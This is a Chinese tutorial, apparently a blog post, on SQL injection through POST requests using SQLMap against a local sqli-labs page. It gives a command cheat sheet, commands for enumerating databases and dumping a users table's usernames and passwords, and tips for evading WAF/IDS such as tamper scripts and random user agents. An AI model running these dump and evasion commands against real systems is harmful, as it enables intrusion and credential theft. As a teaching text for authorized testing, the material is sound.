当前位置: 首页 > news >正文

详细介绍:【SQLMap】POST请求注入

SQL注入是Web安全领域最常见的高危漏洞之一,而POST型注入因其数据不可见性,在测试中得特殊处理。SQLMap作为自动化SQL注入应用,能高效地帮助我们发现和利用这类漏洞。

POST注入与GET注入的关键区别

POST注入与GET注入的核心区别在于​​数据传递方式​​不同

特性

GET请求

POST请求

​数据传输方式​

通过URL传递(参数在地址栏可见)

通过请求体传递(数据不可见)

​数据量限制​

较小,受URL长度限制

较大,无URL长度限制

​安全性​

较低,参数易被缓存和记录

相对较高

​测试可见性​

直接可见,易于测试

不可见,需抓包或工具辅助

SQLMap 常用命令速查表

命令参数

功能说明

使用示例

-u <URL>

​指定目标URL​​(最常用)

sqlmap -u "http://example.com/page.php?id=1"

--data=<DATA>

​指定POST请求的数据​

sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"

-r <FILE>

​从文件加载HTTP请求​​(常用于POST注入)

sqlmap -r request.txt(文件通常由BurpSuite抓包保存)

-p

​指定测试的参数​

sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id"(只测试id参数)

--forms

​自动检测并测试页面中的表单​

sqlmap -u "http://example.com/login.php" --forms

--current-db

​获取当前数据库名​

sqlmap -u "http://example.com/page.php?id=1" --current-db

--dbs

​枚举所有数据库​

sqlmap -u "http://example.com/page.php?id=1" --dbs

--tables

​枚举指定数据库中的所有表​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> --tables

--columns

​枚举指定表中的所有列​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --columns

--dump

​导出(提取)指定表中的数据​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --dump

--batch

​使用非交互模式​​(自动选择默认选项)

通常加在其他命令后,避免SQLMap中途询问

--level=<LEVEL>

​设置测试等级​​(1-5,默认1)等级越高,测试越全面

--level=3(会检测User-Agent、Referer头)

--risk=<RISK>

​设置风险等级​​(1-3,默认1)等级越高,测试越具侵入性

--risk=2

SQLMap进行POST注入的实战方法

一:BurpSuite抓包+文件读取

此技巧利用BurpSuite等抓包工具捕获完整的POST请求,保存为资料后供SQLMap直接读取,准确性高。

  1. ​抓包并保存​​:使用BurpSuite拦截POST请求,将完整请求(包括Headers和Body)复制保存为文本文件(如1.txt

  2. ​使用SQLMap读取文件进行测试​

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -dbs # 基本命令

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --current-db #展示网站库名

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security --tables # 获取指定数据库(security)的所有表

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security -T users --columns # 获取指定表(users)的所有列

指定参数。在1.txt文件中指定要扫描的参数,其他就参数不会扫描

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --dbs

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p username -D security -T users -C username,password --dump

二:自动表单检测(--forms)

让SQLMap自动分析目标页面,发现并测试所有表单。

让SQLMap自动发现并测试表单

sqlmap.py -u "http://localhost/sql/Less-12/index.php" --forms --dbs

  • ​优点​​:无需抓包,快捷便捷。

  • ​缺点​​:可能无法检测到所有参数(如Headers或Cookie中的参数)

三:直接指定POST内容(--data)

手动指定POST请求的参数进行测试。

# 直接通过--data指定POST参数
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456"[1,4](@ref)


# 指定请求方法为POST(某些场景需要)
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" --method=POST[4](@ref)


# 结合其他参数指定测试字段
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" -p username --dbs

​高级技巧​​:

--batch # 使用默认选项,无需交互确认(适合自动化)
--delay 2 # 设置请求延迟,避免触发防护
--proxy="http://127.0.0.1:8080" # 设置代理,便于调试
--tamper # 使用混淆脚本绕过WAF/IDS

重要注意事项

所有测试必须在获得明确授权的目标上进行,未经授权的测试属于违法行为

WAF/IPS绕过​​:实战中目标准系统可能部署有WAF或IPS。可尝试以下方法绕过:

使用 --tamper参数(如 space2comment)对Payload进行混淆

增加 --level--risk参数值,提高测试的深度和广度

使用 --random-agent随机化User-Agent,避免被识别

感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。

http://www.jsqmd.com/news/44/

相关文章:

  • test 1
  • ctfshow web52
  • ctfshow web51
  • ctfshow web53
  • S32K3便捷的平台eMIOS 应用说明
  • 关于如何计算空间
  • ECT-OS-JiuHuaShan框架实现的元推理,是新质生产力的绝对标杆
  • ctfshow web46
  • 线性调频信号(LFM)在雷达中的时域及频域MATLAB编程
  • 01-第一个Spring程序
  • Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程
  • ctfshow web39
  • 国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?
  • 最大流判定+拆点
  • ctfshow web40
  • C++ 左值、右值、左值引用、右值引用
  • Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解
  • 基数排序模板(Radix Sort)
  • ctfshow web32
  • [项目开发经验分享]基于强类型事件的类型参数传递问题 —— 在 .NET Winform项目中如何设计泛型事件总线以实现UI与核心层的解耦
  • 从Verizon数据泄露报告看企业安全防御的迫切变革
  • 行程长度编码
  • mysql 虚拟列,可以简化 SQL 逻辑、提升查询效率
  • Flash Attention算法动画
  • 【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战
  • PointNetwork-求解TSP-05 - jack
  • 多站点的TSP问题求解-06 - jack
  • Windows 11如何进入安全模式
  • C# CAN通信上位机系统设计与实现
  • 进程池VS线程池